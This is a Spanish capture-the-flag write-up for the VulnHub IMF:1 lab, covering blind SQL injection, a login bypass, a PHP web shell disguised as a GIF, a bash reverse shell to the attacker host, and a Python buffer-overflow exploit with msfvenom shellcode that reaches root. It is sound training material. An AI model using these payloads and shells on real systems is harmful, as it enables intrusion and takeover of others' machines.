
Información General
Este documento contiene información detallada de cómo comprometer la máquina IMF en VulnHub. Se abordan principalmente las técnicas: SQLi Boolean Blind y Buffer Overflow.
IMF: 1 es una máquina Boot2Root de dificultad moderada alojada en VulnHub, diseñada para simular el entorno de una agencia de inteligencia ficticia (“Impossible Mission Force”). A diferencia de los CTF tradicionales, el reto destaca por integrar múltiples flags progresivas, donde cada una revela la pista necesaria para la siguiente etapa.
Este writeup documenta el proceso de auditoría completo, desde el reconocimiento inicial hasta la explotación de binarios en bajo nivel. La auditoria comienza con la enumeración web para descubrir puntos de entrada ocultos, evoluciona a través de una inyección SQLi Boolean-Based Blind para la exfiltración de credenciales, y culmina en el análisis de un servicio personalizado vulnerable a Buffer Overflow, permitiendo la ejecución remota de código y la escalada final de privilegios.
Objetivos
- Comprometer la máquina virtual IMF: 1.
- Obtener acceso inicial mediante enumeración web.
- Escalar privilegios hasta root mediante abuso de servicios vulnerables.
- Capturar las 6 flags.
Disclaimer Ético
Este material ha sido creado exclusivamente con fines educativos y de investigación. El uso indebido de esta información para atacar objetivos sin autorización explícita es ilegal y contraviene los principios del hacking ético.
Antes de continuar: Lee mi nota “Ética en la Ciberseguridad” para más información.
Técnicas Aplicadas
- Reconocimiento de Red: Identificación de objetivos mediante ARP y TCP
- Enumeración de Servicios: Detección de versiones y aplicaciones
- Análisis Manual de Código: Identificación de secretos en código fuente
- SQL Injection Boolean-Based: Automatización de explotación
- Bypass de WAF: Inserción de payloads en archivos GIF
- Reverse Shell: Obtención de acceso remoto
- Port Knocking: Acceso a servicios protegidos
- Buffer Overflow: Escalada de privilegios
Entorno de Trabajo
Este writeup fue realizado bajo las siguientes condiciones:
- Hipervisor: VMware Workstation Pro
- Sistema Operativo Host: Arch Linux
- Máquina Objetivo: IMF 1 (VulnHub)
- Red: vmnet1 (Red privada de VMware)
Herramientas y Comandos Usados
| Herramienta | Función principal |
|---|---|
| arp-scan | Descubre hosts en la red. |
| nmap | Escaneo y enumeración de puertos y servicios. |
| Burp Suite | Análisis y pruebas de tráfico web. |
| curl | Transferencia de datos y pruebas HTTP. |
| TCPing | Verifica conectividad TCP sin ICMP. |
| netcat | Utilidad multipropósito de red. |
| ssh | Acceso remoto seguro por consola. |
| htop | Monitorización avanzada de procesos. |
| netstat | Revisión de conexiones y puertos activos. |
| ltrace | Rastreo de llamadas de biblioteca. |
| gdb | Depurador para análisis de binarios. |
Solución General
Resumen Técnico
Este writeup guía paso a paso cómo explotar una máquina Linux vulnerable mediante inyección SQL Boolean-Based y Buffer Overflow. El objetivo es enseñar cómo funcionan estas vulnerabilidades desde una perspectiva práctica y educativa.
1. Reconocimiento:
La fase de reconocimiento es el cimiento de cualquier pentest exitoso. Durante esta etapa:
- Identificamos el alcance: Qué máquinas y servicios tenemos como objetivo
- Mapeamos la infraestructura: Entendemos cómo se conectan los sistemas
- Detectamos servicios: Encontramos qué aplicaciones están corriendo y en qué versiones
Sin reconocimiento adecuado, disparamos a la oscuridad. Con él, nos movemos con precisión quirúrgica.
1.1 Fase Inicial | arp-scan y tcping
Lo primero que hago es reconocer qué máquina vamos a reconocer. Para ello, debo identificar la IP de la máquina víctima, esto se hace con ayuda de la herramienta arp-scan.
¿Qué es ARP? Address Resolution Protocol (ARP) es un protocolo que mapea direcciones IP a direcciones MAC en una red local. Cuando una máquina quiere comunicarse con otra en la misma red, primero necesita saber su dirección MAC. ARP hace exactamente eso.
Comando utilizado:
arp-scan -I vmnet1 --localnetParámetros:
arp-scan: Herramienta de reconocimiento de red-I: Especifica el adaptador de red a escanear--localnet: Indica escaneo de toda la red local
Este escaneo me identifica la máquina objetivo en “172.16.23.129” dentro de la red vmnet1.
Identificamos que hay una máquina, por lo que podemos ejecutar el comando ping para verificar conexión con la máquina:
ping 172.16.23.129
No hay conexión por medio de ping.
¿Por qué falla ping? El comando “ping” usa el protocolo ICMP (Internet Control Message Protocol), que envía paquetes de eco para saber si un dispositivo está accesible en la red. Sin embargo, muchos sistemas o firewalls pueden bloquear estos paquetes ICMP por seguridad, por lo que “ping” puede fallar aunque el dispositivo esté activo.
Al no obtener respuesta con ICMP, probaremos la herramienta tcping para verificar la conexión mediante el protocolo TCP. tcping usa TCP para intentar establecer una conexión directa a un puerto específico en la máquina destino (por ejemplo, puerto 80, 443, etc.). Esto permite verificar si un servicio en ese puerto está disponible y funcionando, sin depender de que ICMP esté permitido.
Una vez compilada, ejecutamos:
./tcping 172.16.23.129
Confirmamos conexión con 172.16.23.129 por medio de la herramienta tcping.
1.2 Escaneo de puerto | nMap
nmap -p- --open -sS 172.16.23.129 -T4 -n -vvv -Pn -oA SYNscan Parámetros:
-p-: Anula el comportamiento por defecto de nmap (que escanea los 1000 puertos más comunes) y escanea todos los puertos (1-65535)--open: Solo muestra los puertos que están abiertos, ignorando los cerrados o filtrados.-sS: Realiza un escaneo SYN stealth (Half-open scan), que envía paquetes SYN para detectar puertos abiertos sin completar la conexión TCP (menos detectable).-T4: Ajusta la velocidad del escaneo a un nivel agresivo (más rápido, menos sigiloso).-n: No resuelve nombres DNS para las IPs, acelera el escaneo al evitar consultas DNS.-vvv: Muestra salida muy detallada (nivel de verbosidad triple).-Pn: No realiza ping previo para detectar si el host está activo; asume que está activo y escanea directamente.-oA SYNscan: Exporta la salida en tres formatos simultáneamente (normal, XML y grepable) usando el prefijo de archivo “SYNscan”.

1.3 Escaneo de servicios | nmap
Ya que sabemos que tenemos el puerto 80 abierto, es el momento de utilizar un conjunto de scripts de reconocimiento que tiene nmap que nos permitirá identificar exactamente a qué nos estamos enfrentando con información más detallada.
Comando utilizado:
nmap -p80 -sCV 172.16.23.129 -oA PORTscan Parámetros:
-p80: Escanea específicamente el puerto 80.-sCV: Detecta servicios (-sV) y ejecuta scripts de reconocimiento básicos (-sC).-oA PORTscan: Exporta la salida en tres formatos simultáneamente.
Resultado: Equipo con puerto 80/tcp abierto, servicio Apache httpd 2.4.18 corriendo en máquina Ubuntu | Aplicación web: IMF
1.4 Reconocimiento Web | Puerto 80
Introducimos la IP 172.16.23.129 como URL en nuestro navegador web y vemos que la misma cuenta con 3 “secciones”:
- Home (index.php)
- Projects (projects.php)
- Contact Us (contact.php)

Código Fuente | Index.php

Encontramos unos segmentos de JavaScript encriptados en base64. Esto es bastante curioso de ver en un código fuente, porque cuando juntamos todos los segmentos obtenemos la cadena: “ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==”
Base64 es un esquema de codificación que convierte datos binarios en texto ASCII. Se usa comúnmente para transmitir datos que no pueden ser enviados directamente (como credenciales o datos binarios) a través de protocolos que solo aceptan texto.
Se identifica fácilmente que es una cadena base64, por lo que procedemos a decodificarla:
echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d; echo
Resultado: flag2{aW1mYWRtaW5pc3RyYXRvcg==}
Esta es otra cadena base64, vamos a decodificarla nuevamente:
echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d; echo
Resultado: imfadministrator - Esto parece ser una ruta o directorio administrativo.
Código Fuente | projects.php
Aquí no hay mucho que ver, parece una página con solo información relacionada a los proyectos de la aplicación web. No contiene datos sensibles.
Código Fuente | contact.php
Esta página es mucho más interesante que las otras dos. En el formulario vemos claramente tres posibles usuarios por lo que los guardamos, seguramente sirven para más tarde.
Además, en su código fuente encontramos la flag1{YWxsdGhlZmlsZXM=}. Vemos que también está en base64 por lo que procedemos a decodificarla:
echo "YWxsdGhlZmlsZXM=" | base64 -d; echo
Resultado: allthefiles - Pista que nos sugiere revisar todos los archivos.
Recuento de Información:
Flags Capturadas:
flag1{allthefiles}flag2{imfadministrator}
Usuarios Identificados:
- Roger S. Michaels: rmichaels@imf.local
- Alexander B. Keith: akeith@imf.local
- Elizabeth R. Stone: estone@imf.local
2. Explotación
Podemos intuir que las flags son pistas para seguir con el reto. En este caso:
- “
flag1{allthefiles}” nos invita a revisar todos los archivos del aplicativo - “
flag2{imfadministrator}” nos indica lo que parece ser un directorio administrativo
Confirmamos esto ingresando en la URL: http://172.16.23.129/imfadministrator/
Parece un panel de inicio de sesión administrativo. Este es el momento perfecto para probar los usuarios que habíamos encontrado anteriormente, confirmando no solo que los usuarios existen, sino que la web también es vulnerable a enumeración de usuarios.
Revisando el código fuente también podemos ver pistas en los comentarios de la web. Parece que dejaron toda la sanitización en el traste por lo que ya podemos a probar cosas con el Repeater de BurpSuite.
2.1 Array Injection Authentication Bypass | BurpSuite
Con un simple [] (corchetes vacíos) en el parámetro de login podemos ver que la web nos da acceso al panel administrativo. Esto ocurre porque:
En PHP, cuando usas
[]en un formulario GET o POST, conviertes un parámetro de string en un array. El backend espera un string y lo compara directamente, pero recibe un array. Dependiendo de cómo se escribe el código, esta comparación fallida puede resultar en un bypass de autenticación. Es un ejemplo clásico de cómo las suposiciones sobre el tipo de datos pueden llevar a vulnerabilidades.
Al presionar con el payload [] el sistema nos concede acceso y nos entrega la flag3: flag3{Y29udGludWVUT2Ntcw==}
Decodificamos:
echo "Y29udGludWVUT2Ntcw==" | base64 -d; echo
Resultado: continueTOcms - Nueva pista hacia el CMS.
2.2 Panel Administrativo CMS
También tenemos un enlace que nos lleva a http://172.16.23.129/imfadministrator/cms.php?pagename=home por lo que al ingresar podemos ver el contenido del panel administrativo:
Secciones disponibles:
- Home
- Upload Report
- Disavowed list
No hay nada interesante en los códigos fuentes de estas páginas a simple vista. Sin embargo, hay algo crucial que pasamos por alto…
3. Preparativos para el Ataque - SQL Injection Boolean Blind
3.1 Identificación de la Vulnerabilidad
Nos damos cuenta de que la página tiene un parámetro interesante: cms.php?pagename=home.
Ese = es bastante curioso ya que está apuntando a recursos, por lo que vamos a probar colocando una comilla ' (comilla simple). Esto nos da una pantalla WARNING de SQL, confirmando que hay una inyección SQL:

3.2 Concepto: SQL Injection Boolean Blind
SQLi es una vulnerabilidad donde un atacante inyecta código SQL malicioso en los campos de entrada de una aplicación. Si la entrada no está sanitizada, el código ejecuta consultas SQL no autorizadas.
- Boolean: La respuesta es sí o no (true/false)
- Blind: No vemos directamente los resultados de la base de datos
En un SQL Injection Boolean Blind, no podemos ver los datos de la base de datos como lo haríamos en un Error-Based SQLi. En su lugar, nos basamos en diferencias de comportamiento:
- Si nuestra condición es TRUE, la página muestra cierto contenido/comportamiento
- Si nuestra condición es FALSE, muestra otro contenido/comportamiento
¿Cómo funciona? Comparamos dos estados:
-- Estado TRUE
pagename=home' AND '1'='1'--
La página carga normalmente
-- Estado FALSE
pagename=home' AND '1'='0'--
La página muestra un error o contenido diferente
Con esto, podemos “preguntar” a la base de datos letra por letra, extrayendo información sin necesidad ver nunca los datos directamente.
3.3 Pruebas Manuales de Boolean SQLi
Interceptamos la solicitud GET con Burp Suite:
GET /imfadministrator/cms.php?pagename=home' or 1=1--
El payload de la imagen está URL-encoded al enviar las solicitudes, puedes hacerlo fácilmente con Burp Suite al presionar Ctrl + U.

Notamos que la solicitud en sí no cambia mucho visualmente, pero al leer detenidamente podemos apreciar que hay un error que dice:
mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in
Este error es un claro indicio de que hay un error relacionado a parámetros booleanos, confirmando una vulnerabilidad Boolean SQLi.
mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in
Confirmación de Boolean SQLi
Con esto podemos identificar que hay una base de datos trabajando con SQL, ademas vemos ese bolean given in es un claro indicio a que hay un error relacionado a parámetros booleanos, teniendo esto en cuenta vamos a probar los payload: dando el servidor respuestas distintas y confirmando boolean sqli
hora probamos dos payloads específicos para confirmar el comportamiento booleano:
Payload TRUE (debe cargar la página normalmente):
home' AND '1'='1'--

Payload FALSE (debe mostrar un error o comportamiento diferente):
home' AND '1'='0'--
Con esto en cuenta podemos ver claramente dos respuestas distintas, confirmando la vulnerabilidad Boolean Blind SQLi.
3.4 Extracción Manual de Información
Por ejemplo, podemos empezar a cambiar las solicitudes por palabras:
home' AND 'test'='test'--
De esta forma tenemos una forma de identificar entradas en las bases de datos. A pesar de que no veamos exactamente la entrada, tenemos una forma de ir buscando información.
Supongamos que queremos buscar bases de datos, podemos usar una de las entradas para seleccionar mediante queries nombres de las mismas e ir fuzzeando las misma.
3.5 Descubrimiento de Esquemas de Base de Datos
Como sabemos que es una base de datos trabajando bajo SQL podemos probar solicitudes que apunten a nombres comunes de las mismas, por ejemplo mysql o information_schema.
information_schema es una base de datos especial en MySQL que contiene metadatos sobre TODAS las demás bases de datos, tablas, columnas, etc. Es como el “índice” de la base de datos.
Usamos el payload
home' AND (SELECT schema_name FROM information_schema.schemata limit 0,1)='information_schema-- HTTP/1.1
Desglose:
SELECT schema_name: Selecciona nombre del esquemaFROM information_schema.schemata: De la tabla de esquemaslimit 0,1: Primer resultado='information_schema': ¿Es igual a esto?
Estado FALSE (nombre incorrecto):

Estado TRUE (confirmamos information_schema existe):
✅ Confirmado: existe la BD information_schema.
3.6 Fuzzing letra por letra
El verdadero poder: extraer información desconocida. En lugar de buscar nombres completos, fuzzeamos letra por letra.
El concepto: Usamos substring() para extraer caracteres uno a uno:
home' AND (SELECT substring(schema_name,1,1) FROM information_schema.schemata limit 0,1)='i--Desglose:
substring(schema_name,1,1): Primera letra del nombrelimit 0,1: Primera BD='i': ¿Es igual a “i”?
Fíjate como ahora seleccionamos la primera letra de la primera base de datos, sabemos que la primera BD es information_schema, cuya primera letra es “i” → TRUE:
Para la segunda letra: substring(schema_name,2,1)='n' y así sucesivamente.
¿Por qué funciona? La función substring() extrae N caracteres desde una posición. Si probamos ‘i’, es TRUE. Si probamos ‘x’, es FALSE. Letra por letra extraemos cualquier información.
4. Automatización - Script Python
Hacer esto manualmente es tedioso. Un script automatiza el proceso:
Mi Script: https://github.com/NeTenebraes/neBooleanBlindSQLi
El script:
- Define el parámetro vulnerable
- Itera sobre caracteres ASCII
- Para cada posición, prueba cada carácter
- Si respuesta = TRUE, guarda carácter
- Continúa hasta completar la cadena
Resultado: Encontramos página oculta: http://172.16.23.129/imfadministrator/cms.php?pagename=tutorials-incomplete
Si quieres ver exactamente como funciona este script y estos conceptos, te recomiendo que visites el repositorio.
Resultado: Encontramos página oculta: http://172.16.23.129/imfadministrator/cms.php?pagename=tutorials-incomplete
4.1 Página Descubierta: tutorials-incomplete

Hay un QR. Lo escaneamos con herramienta web segura:
QR Decodificado: flag4{dXBsb2Fkcjk0Mi5waHA=}
echo "dXBsb2Fkcjk0Mi5waHA=" | base64 -d; echoResultado: uploadr942.php ← Una página oculta de carga de archivos.
5. Bypass WAF y Reverse Shell
5.1 Acceso al Uploader
Navegamos a http://172.16.23.129/imfadministrator/uploadr942.php:
En esta sección vemos que se pueden subir documentos, sin embargo la gran mayoría de extensiones están bloqueadas por un WAF. Por lo que usaremos un archivo de prueba para empezar a hacer fuzzing, confirmando que archivos con extensión de imagen puedes ser subidos al servidor.
¿Por qué probamos con imágenes? A través de fuzzing de extensiones y MIME types, identificamos que:
- El WAF filtra extensiones
.php,.php3,.php4,.php5, etc. - El WAF permite extensiones de imagen:
.jpg,.png,.gif,.bmp - Esto nos sugiere que podemos inyectar código PHP dentro de un archivo de imagen válido
Necesitamos bypassear el WAF (Web Application Firewall).
Magic Numbers (File Signatures): Los magic numbers (también llamados file signatures) son bytes específicos al inicio de un archivo que identan su tipo. Por ejemplo:
- PNG:
89 50 4E 47(PNGen hexadecimal) - JPEG:
FF D8 FF E0 - GIF:
47 49 46 38(GIF8en hexadecimal)
El WAF puede validar el archivo verificando estos magic numbers en lugar de solo la extensión. Si insertamos código PHP dentro de una imagen con magic numbers válidos, podemos bypassear el filtro.
5.3 Creación del Payload
Opción 1: Usar una función ofuscada en PHP
Creamos un archivo shell.gif que contiene:
<?php
$f = 'sy'.'stem';
$f($_GET['cmd']);
?>Esta técnica ofusca la función system() dividiéndola en strings, dificultando la detección por patrones del WAF.
Opción 2: Usar comillas invertidas (backticks)
<?php
$command = $_GET['cmd'];
echo `$command`;
?>Los backticks en PHP ejecutan comandos del sistema, es una alternativa a system() que puede evadir algunos filtros.
5.4 Subida del Archivo
Subimos script.gif desde el formulario de uploadr942.php modificando la solicitud con BurpSuite para que incluya lo que queremos que el WAF valide.
Modificamos para el WAF:
- ✅ Extensión:
.gif(permitido) - ✅ MIME type:
image/gif(permitido) - ✅ Magic number:
GIF8(válido)
El archivo se guarda en el servidor. Típicamente en: /imfadministrator/uploads/
Además, de la respuesta del servidor podemos ver que guarda los archivos con un nombre distinto (hash).
Confirmamos esto viendo una de las imágenes que habías subido en la ruta mencionada:

5.6 Ejecución de Comandos
Una vez que tenemos acceso a través del shell web, ejecutamos comandos con ayuda de curl:
# Prueba de RCE (Remote Code Execution)
curl "http://172.16.23.129/imfadministrator/uploads/shell.gif?cmd=ls"
# Listar directorio actual
curl "http://172.16.23.129/imfadministrator/uploads/shell.gif?cmd=pwd"
# Ver usuario actual
curl "http://172.16.23.129/imfadministrator/uploads/shell.gif?cmd=whoami"¡CONFIRMAMOS EJECUCIÓN DE COMANDOS!

Luego e confirmar que se puede hacer ejecución de comandos, encontramos la
flag5{YWdlbnRzZXJ2aWNlcw==}a través del comandolspara posteriormente ver su contenido concat.
Resultado:
echo "YWdlbnRzZXJ2aWNlcw==" | base64 -d; echo
# Output: agentservices5.7 Obtención de Reverse Shell
Con RCE confirmado, procedemos a obtener una reverse shell interactiva.
Paso 1: Preparar la máquina Host para escuchar
# En la máquina Host
nc -lvnp 443Paso 2: Enviar payload de reverse shell
Generamos el payload, acá te lo dejo de forma clara
# Payload: bash reverse shell
bash -c 'bash -i >& /dev/tcp/172.16.23.1/443 0>&1'El signo & requiere ser URL-encoded como %26 asi como tambien los espacios yo uso BurpSuite para esto haha:
curl "http://172.16.23.129/imfadministrator/uploads/2a7475f285e3.gif?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.16.23.1/443%200%3E%261%27"
Resultado: CONECTADOS - Tenemos acceso a la máquina.
5.8 Estabilización de TTY
Una vez que tenemos conexión reverse, la shell es inestable. Procedemos a estabilizar:
Paso 1: Script para TTY
/usr/bin/script -qc /bin/bash /dev/nullPaso 2: Suspender el proceso
Presionamos Ctrl+Z para suspender la shell.
Paso 3: Reconfigurar terminal
stty raw -echo; fgPaso 4: Configurar TERM
export TERM=xterm
export SHELL=/bin/bashPaso 5: Columnas y Filas de la terminal (dependiendo de las dimensiones de tu terminal)
stty rows 40 columns 120Ahora tenemos una shell completa con capacidades interactivas dentro de la maquina IMF.

6. Análisis Binario y Servicios Protegidos (Port Knocking)
6.1 Enumeración de Procesos
Una vez obtenida la shell en la máquina, el siguiente paso es enumerar los procesos en ejecución para buscar algún binario o servicio propio del reto que pueda estar corriendo con privilegios elevados. Utilicé los siguientes comandos::
# Listar procesos en ejecución
ps aux | grep root
# Buscar binarios SUID
find / -perm -4000 2>/dev/null
# Revisar servicios activos
netstat -tulnEn el resultado del ps aux se puede observar que, aparte de los procesos estándar de sistema, existe el proceso /usr/sbin/knockd corriendo como root.
Esto es muy relevante porque knockd es un demonio especialmente usado para port knocking, una técnica que sirve para proteger servicios sensibles permitiendo la apertura de puertos solo tras recibir una secuencia correcta de “golpes” en puertos definidos.
Confirmar la presencia de knockd deja muy claro que en este reto debes realizar port knocking para poder acceder a algún servicio protegido. Esta observación es clave para el progreso en la máquina, porque si no ejecutas correctamente la secuencia de knocking, el puerto se mantiene cerrado.
Además del demonio de knockd, la salida del netstat nos sirve para identificar servicios adicionales — por ejemplo, el puerto 7788 utilizado por el binario vulnerable agent, que típicamente queda inaccesible hasta completar el knocking especificado por la máquina.
6.2 Descubrimiento del servicio “Agent”
Basándonos en la flag5{agentservices} y el reconocimiento realizado, buscamos usamos FIND para buscar el archivos relacionados:
find / -name "*agent*" 2>/dev/null
Encontramos que existe /usr/local/bin/agent. Al ejecutarlo vemos que espera un ID:

Dentro del mismo directorio encontramos un archivo llamado access_codes que contiene: SYN 7482,8279,9467. Esto es una clara referencia al Port Knocking que comentamos anteriormente.

6.3 Análisis del Binario con ltrace
ltrace nos permite ver las llamadas a librerías sin necesidad de desensamblar. Esto acelera el análisis. Nos permitirá rastrear llamadas a librerías dinámicamente, esto es especialmente útil para entender qué hace el programa:
ltrace /usr/local/bin/agentObservamos que el programa:
- Lee entrada del usuario
- Compara la entrada de ID con
48093572 - Realiza operaciones de buffers si la validación es exitosa

6.4 Identificación del ID Válido
Ejecutamos el binario del agent:
/usr/local/bin/agent
# Ingresamos: 48093572
El binario nos presentará opciones. Seleccionamos opción 3 para explotar el buffer overflow.
6.5 Traer el equipo a la maquina
Necesitamos trabajar con el binario en nuestra máquina host para analizarlo mejor. Podemos apoyarnos de le herramienta netcat para esto:
En la máquina víctima (con shell):
nc 172.16.23.1 443 < agent
**En la máquina Host **
sudo nc -nlvp 443 > agent
De esta forma, podemos usar trabajar con todos nuestros juguetes con el binario, sin necesidad de depender de los paquetes que tenga la máquina objetivo.
7. Explotación Buffer Overflow
SECCIÓN TÉCNICA AVANZADA
Las siguientes subsecciones incluyen explicaciones detalladas sobre cálculo de offsets, direcciones de memoria y obtención de direcciones de retorno. Se requiere conocimiento básico de arquitectura x86 y análisis de binarios.
7.1 Concepto Fundamental: Buffer Overflow
Un Buffer Overflow ocurre cuando un programa escribe más datos en un buffer de lo que puede almacenar. Los datos adicionales sobrescriben la memoria adyacente, incluyendo potencialmente la dirección de retorno de una función en el stack.
Estructura del stack durante una llamada a función:
[Parámetros de Función]
[RIP/EIP - Return Address] ← Nuestro objetivo (qué queremos sobrescribir)
[EBP - Base Pointer] ← Puntero de la base del marco
[Espacio Local del Buffer] ← Donde escribimos datos
Cuando un buffer se desborda, podemos sobrescribir el RIP/EIP y hacer que apunte a nuestro código malicioso (shellcode).
7.2 Verificación de Protecciones con checksec
Antes de explotar, verificamos las protecciones del binario:
checksec --file=agent
Análisis de protecciones:
- NX disabled ✓: El stack es ejecutable - nuestro shellcode funcionará
- No PIE ✓: Las direcciones NO cambian entre ejecuciones - direcciones hardcoded funcionarán
- No canary ✓: Sin protección de stack canary contra BOF
- Partial RELRO: Protege parcialmente GOT/PLT (no afecta el BOF clásico)
Conclusión: El binario es vulnerable al buffer overflow clásico sin protecciones.
Para análisis más detallado, instalamos GEF:
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"7.3 Cálculo del Offset:
El offset es la cantidad exacta de bytes que debemos escribir antes de sobreescribir la dirección de retorno. Encontrarlo requiere:
Tambien tuve que instalar GEF (curl -fsSL https://gef.blah.cat/sh)""
Paso 1: Generar un Patrón Único
Podemos generar un patrón único con gdb, gef (GDB Enhanced Features), metasploit o incluso python, de esta forma tendremos una cadena no repetitiva que nos permitirá identificar exactamente dónde está la dirección de retorno:
Con GEF:
# Dentro de gdb con GEF
gdb ./agent
(gef) pattern create -n 4 300O usando Python:
python3 -c "import string; print(''.join([chr((i % 26) + ord('A')) for i in range(300)]))"O con metasploit (más preciso):
/opt/metasploit/tools/exploit/pattern_create.rb -l 300Yo usaré gef para el ejemplo:
Te dejo un ejemplo usado acá:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaacLa propiedad de este patrón es que cada subsecuencia de 4 bytes es única.
Paso 2: Enviar Patrón y Observar Crash
Copiamos el patrón y lo enviamos al binario:
gdb ./agent
(gef) run
# ID: 48093572
# Opción: 3
# Pegamos el patrón...Nota: Si es binario x86 en máquina x64, requiere:
sudo pacman -S lib32-glibc(Arch)
El programa hace crash. Revisamos el valor en el registro EIP (arquitecturas x86):
EIP contiene 0x62616172 que corresponde a “raab” en el patrón. Esto nos da información clave sobre cuántos caracteres necesitamos.
Paso 3: Encontrar Offset Exacto
Usamos GEF para encontrar el offset:
pattern search 0x62616172
#[+] Searching for '72616162'/'62616172' with period=4
#[+] Found at offset 168 (little-endian search) likely
¡El offset es exactamente 168 bytes!
Vemos también que el buffer comienza en 0xffffd614 - donde nuestro shellcode residirá inicialmente:
0xffffd614 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
Por lo tanto, si queremos sobrescribir el EIP, necesitamos exactamente 168 bytes de relleno + 4 bytes con la dirección deseada.
7.4 Obtención de la Dirección de Retorno (0x08048563)
Ahora sabemos que en offset 168 está el EIP. ¿Dónde colocamos nuestro shellcode? La respuesta es apuntamos el EIP a una instrucción que ejecute nuestro código.
Desensamblamos el binario:
objdump -D agent | grep -A5 "call.*eax"
Encontramos una instrucción call eax en 0x08048563 que es perfecta porque:
- EAX apunta al inicio de nuestro buffer (donde está el shellcode)
call eaxsaltará a nuestro código
Dirección de retorno: 0x08048563
7.5 Generación de Payload con msfvenom
Generamos nuestro shellcode de reverse shell:
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=172.16.23.1 \
LPORT=443 \
-f python \
-b "\x00\x0a\x0d"Parámetros:
-p: Tipo de payload (shell reverso TCP)LHOST: IP donde escucharemosLPORT: Puerto donde escucharemos-f python: Formato de salida (código Python directo)-b: Bytes a evitar (badchars):\x00: Null bytes (terminan strings en C)\x0a: Newline (interfiere con entrada)\x0d: Carriage return (problemas de parsing)

El shellcode generado es un binario compilado que:
- Crea un socket TCP
- Se conecta a 172.16.23.1:443
- Redirige stdin/stdout/stderr al socket
- Ejecuta
/bin/bash
7.6 Estructura del Exploit
El exploit combina:
- Shellcode (~80 bytes)
- Padding para alcanzar offset (168 bytes total)
- Dirección de retorno (4 bytes en little-endian)
Script Python - Exploit:
#!/usr/bin/python3
import socket
import sys
# CONFIGURACIÓN
TARGET_IP = "172.16.23.129"
TARGET_PORT = 7788
AGENT_ID = "48093572"
OFFSET = 168
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.23.1 LPORT=443 -f python -b "\\x00\\x0a\\x0d"
buf = b""
buf += b"\\xdb\\xda\\xbb\\x14\\x85\\x1c\\x15\\xd9\\x74\\x24\\xf4\\x5e"
buf += b"\\x2b\\xc9\\xb1\\x12\\x83\\xee\\xfc\\x31\\x5e\\x13\\x03\\x4a"
buf += b"\\x96\\xfe\\xe0\\x43\\x43\\x09\\xe9\\xf0\\x30\\xa5\\x84\\xf4"
buf += b"\\x3f\\xa8\\xe9\\x9e\\xf2\\xab\\x99\\x07\\xbd\\x93\\x50\\x37"
buf += b"\\xf4\\x92\\x93\\x5f\\xab\\x75\\x73\\x9e\\xdb\\x77\\x7b\\xa1"
buf += b"\\xa0\\xf1\\x9a\\x11\\xb0\\x51\\x0c\\x02\\x8e\\x51\\x27\\x45"
buf += b"\\x3d\\xd5\\x65\\xed\\xd0\\xf9\\xfa\\x85\\x44\\x29\\xd2\\x37"
buf += b"\\xfc\\xbc\\xcf\\xe5\\xad\\x37\\xee\\xb9\\x59\\x85\\x71"
# Padding para alcanzar el offset
padding = b"A" * (OFFSET - len(buf))
# Dirección de retorno (0x08048563 en little-endian para x86)
# En x86 de 32 bits: direcciones se escriben invertidas
ret_address = b"\\x63\\x85\\x04\\x08"
# Construcción del payload completo
payload = buf + padding + ret_address + b"\\n"
print("[*] Conectando a {}:{}".format(TARGET_IP, TARGET_PORT))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
print("[*] Enviando ID del agente: {}".format(AGENT_ID))
s.send((AGENT_ID + "\\n").encode())
data = s.recv(1024)
print("[*] Respuesta: {}".format(data[:50]))
print("[*] Enviando opción 3 (Buffer Overflow)")
s.send(b"3\\n")
data = s.recv(1024)
print("[*] Respuesta: {}".format(data[:50]))
print("[*] Enviando payload...")
s.send(payload)
print("[+] Payload enviado. Revisa tu listener de netcat.")
s.close()Desglose del payload:
[Shellcode ~80 bytes] ← Código que se ejecutará
[Padding ~88 bytes] ← Bytes de relleno (A's)
[Ret Address 4 bytes] ← 0x08048563 es la llamada a $eax en little-endian
[Newline 1 byte] ← Termina la entrada
¿Por qué little-endian? En arquitecturas x86 de 32 bits, los valores multi-byte se almacenan en orden inverso en memoria. La dirección 0x08048563 se escribe como \x63\x85\x04\x08.
7.7 Ejecución del Exploit
Paso 1: Port Knocking
Antes de ejecutar el exploit, debemos realizar port knocking para abrir el puerto 7788:
knock 172.16.23.129 7482 8279 9467Verificamos que el puerto está abierto:
nmap -p7788 172.16.23.129Paso 2: Preparar Escucha
En la máquina Host preparamos netcat para escuchar:
nc -lvnp 443Paso 3: Ejecutar el Exploit
python3 bof.pySi todo va bien, recibiremos una shell en el netcat:
# En el netcat:
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
¡Tenemos acceso como root!
Aplicamos los pasos de estabilización de TTY nuevamente si es necesario.
7.8 Captura de Flag Final
Navegamos al directorio home de root y capturamos la última flag:
cat /root/flag6.txt
Resultado: flag6{R2gwc3RQcm90MGMwbHM=}
Decodificamos:
echo "R2gwc3RQcm90MGMwbHM=" | base64 -d; echo
Resultado: Gh0stProt0c0ls - ¡Máquina completada!
Resumen de Flags Capturadas
| Flag | Contenido | Ubicación | Técnica |
|---|---|---|---|
| Flag 1 | allthefiles | contact.php - Código Fuente | Análisis manual |
| Flag 2 | imfadministrator | index.php - Código Fuente | Decodificación Base64 |
| Flag 3 | continueTOcms | Array Injection Authentication Bypass | Auth Bypass + Decodificación |
| Flag 4 | uploadr942.php | QR code en CMS | SQLi + Decodificación QR |
| Flag 5 | agentservices | Ejecución Remota de Comandos (RCE) | RCE + Decodificación |
